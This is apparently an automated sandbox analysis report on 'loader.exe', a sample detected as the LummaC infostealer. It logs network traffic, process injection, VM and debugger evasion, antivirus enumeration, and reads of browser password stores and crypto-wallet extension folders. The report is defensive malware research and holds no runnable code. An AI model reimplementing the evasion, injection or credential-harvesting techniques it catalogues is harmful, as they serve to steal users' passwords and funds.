Source: loader.exe, 00000005.00000003.1755131727.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: loader.exe, 00000005.00000003.1755131727.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: loader.exe, 00000005.00000003.1755131727.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: loader.exe, 00000005.00000003.1755131727.00000000056E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49738 version: TLS 1.2

Source: C:\Users\user\Desktop\loader.exe

Code function: 5_2_00434400 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

5_2_00434400

Source: C:\Users\user\Desktop\loader.exe

Code function: 5_2_00434400 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

5_2_00434400

Source: C:\Users\user\Desktop\loader.exe

Code function: 5_2_004345C0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

5_2_004345C0

Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0024F4D0	0_2_0024F4D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_002534D0	0_2_002534D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_002515A0	0_2_002515A0
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0024F980	0_2_0024F980
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0024CE70	0_2_0024CE70
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_002486C0	0_2_002486C0
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0024D7F0	0_2_0024D7F0
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_00261FD2	0_2_00261FD2
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_0024F4D0	2_2_0024F4D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_002534D0	2_2_002534D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_002515A0	2_2_002515A0
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_0024F980	2_2_0024F980
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_0024CE70	2_2_0024CE70
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_002486C0	2_2_002486C0
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_0024D7F0	2_2_0024D7F0
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_00261FD2	2_2_00261FD2
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_004240D0	5_2_004240D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00439920	5_2_00439920
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00441920	5_2_00441920
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00442220	5_2_00442220
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00409350	5_2_00409350
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0040E3CA	5_2_0040E3CA
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00428BA0	5_2_00428BA0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0040A440	5_2_0040A440
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0040D4C5	5_2_0040D4C5
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00404490	5_2_00404490
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_004194B0	5_2_004194B0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00439600	5_2_00439600
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0042E624	5_2_0042E624
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00425F6F	5_2_00425F6F
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00421FD0	5_2_00421FD0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0043BFE0	5_2_0043BFE0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0041C84E	5_2_0041C84E
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00427054	5_2_00427054
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0041B862	5_2_0041B862
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_004030D0	5_2_004030D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0042A8D0	5_2_0042A8D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_004210A0	5_2_004210A0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0041A900	5_2_0041A900
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00405108	5_2_00405108
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_004061C0	5_2_004061C0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_004291C4	5_2_004291C4
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_004199D1	5_2_004199D1
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_004341E0	5_2_004341E0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0040DA6F	5_2_0040DA6F
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00422220	5_2_00422220
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00432AE0	5_2_00432AE0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_004072F0	5_2_004072F0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00403AF0	5_2_00403AF0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00420A80	5_2_00420A80
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00429B61	5_2_00429B61
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00405B73	5_2_00405B73
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0042531F	5_2_0042531F
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0041A3F9	5_2_0041A3F9
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0041F3B0	5_2_0041F3B0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0041A462	5_2_0041A462
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0040BC00	5_2_0040BC00
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00420410	5_2_00420410
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00441C10	5_2_00441C10
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00428420	5_2_00428420
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0042B4AF	5_2_0042B4AF
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00424CB0	5_2_00424CB0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00440510	5_2_00440510
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00426530	5_2_00426530
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00427DC6	5_2_00427DC6
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_004405D0	5_2_004405D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0042BD80	5_2_0042BD80
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0041DE50	5_2_0041DE50
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00406E60	5_2_00406E60
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00429E60	5_2_00429E60
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00427E65	5_2_00427E65
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00404E70	5_2_00404E70
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00407E00	5_2_00407E00
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0042AE3D	5_2_0042AE3D
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0043CEC0	5_2_0043CEC0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0040B6E0	5_2_0040B6E0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0041AEE8	5_2_0041AEE8
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0042A692	5_2_0042A692
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_004236A0	5_2_004236A0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0043C750	5_2_0043C750
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00409F60	5_2_00409F60
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0042CF60	5_2_0042CF60
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0041CF78	5_2_0041CF78
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0041AF7A	5_2_0041AF7A
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_0042E61D	5_2_0042E61D
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00441F20	5_2_00441F20
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_004067D0	5_2_004067D0
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00438FA0	5_2_00438FA0

Source: C:\Users\user\Desktop\loader.exe	Code function: String function: 002555C0 appears 66 times
Source: C:\Users\user\Desktop\loader.exe	Code function: String function: 00408AE0 appears 37 times
Source: C:\Users\user\Desktop\loader.exe	Code function: String function: 00258178 appears 36 times

Source: loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: loader.exe

Static PE information: Section: .coS ZLIB complexity 1.0003344608239095

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/0@1/1

Source: C:\Users\user\Desktop\loader.exe

Code function: 5_2_00439920 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

5_2_00439920

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03

Source: loader.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\loader.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: loader.exe, 00000005.00000003.1709216962.00000000055F6000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1731427245.00000000055D8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: loader.exe

ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\loader.exe

File read: C:\Users\user\Desktop\loader.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"	Jump to behavior

Source: C:\Users\user\Desktop\loader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: loader.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: loader.exe	Static PE information: section name: .00cfg
Source: loader.exe	Static PE information: section name: .coS

Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_00254BC5 push ecx; ret	0_2_00254BD8
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_00254BC5 push ecx; ret	2_2_00254BD8
Source: C:\Users\user\Desktop\loader.exe	Code function: 5_2_00418771 push ds; iretd	5_2_00418786

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_00254CA2 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00254CA2

Source: C:\Users\user\Desktop\loader.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\loader.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\loader.exe TID: 7392	Thread sleep time: -120000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\loader.exe TID: 7388	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0025C7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_0025C7DB
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_0025C72A FindFirstFileExW,	2_2_0025C72A
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_0025C7DB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_0025C7DB

Source: loader.exe, 00000005.00000003.1863948333.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1863948333.0000000002D9C000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002D9C000.00000004.00000020.00020000.00000000.sdmp, loader.exe, 00000005.00000002.1864558893.0000000002DD8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\loader.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\loader.exe

Code function: 5_2_0043E990 LdrInitializeThunk,

5_2_0043E990

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_00255444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00255444

Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0024CD10 mov eax, dword ptr fs:[00000030h]	0_2_0024CD10
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0026B18D mov edi, dword ptr fs:[00000030h]	0_2_0026B18D
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_0024BD50 mov edi, dword ptr fs:[00000030h]	0_2_0024BD50
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_0024CD10 mov eax, dword ptr fs:[00000030h]	2_2_0024CD10
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_0024BD50 mov edi, dword ptr fs:[00000030h]	2_2_0024BD50

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_00259F90 GetProcessHeap,

0_2_00259F90

Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_00255438 SetUnhandledExceptionFilter,	0_2_00255438
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_00255444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00255444
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_00257DCA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00257DCA
Source: C:\Users\user\Desktop\loader.exe	Code function: 0_2_00254AD9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00254AD9
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_00255438 SetUnhandledExceptionFilter,	2_2_00255438
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_00255444 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00255444
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_00257DCA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00257DCA
Source: C:\Users\user\Desktop\loader.exe	Code function: 2_2_00254AD9 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00254AD9

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_0026B18D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0026B18D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\loader.exe

Memory written: C:\Users\user\Desktop\loader.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	Process created: C:\Users\user\Desktop\loader.exe "C:\Users\user\Desktop\loader.exe"	Jump to behavior

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_00255200 cpuid

0_2_00255200

Source: C:\Users\user\Desktop\loader.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\loader.exe

Code function: 0_2_002558C5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_002558C5

Source: C:\Users\user\Desktop\loader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: loader.exe, 00000005.00000002.1865344329.00000000055C8000.00000004.00000800.00020000.00000000.sdmp, loader.exe, 00000005.00000003.1805175031.00000000055CA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: loader.exe PID: 7372, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
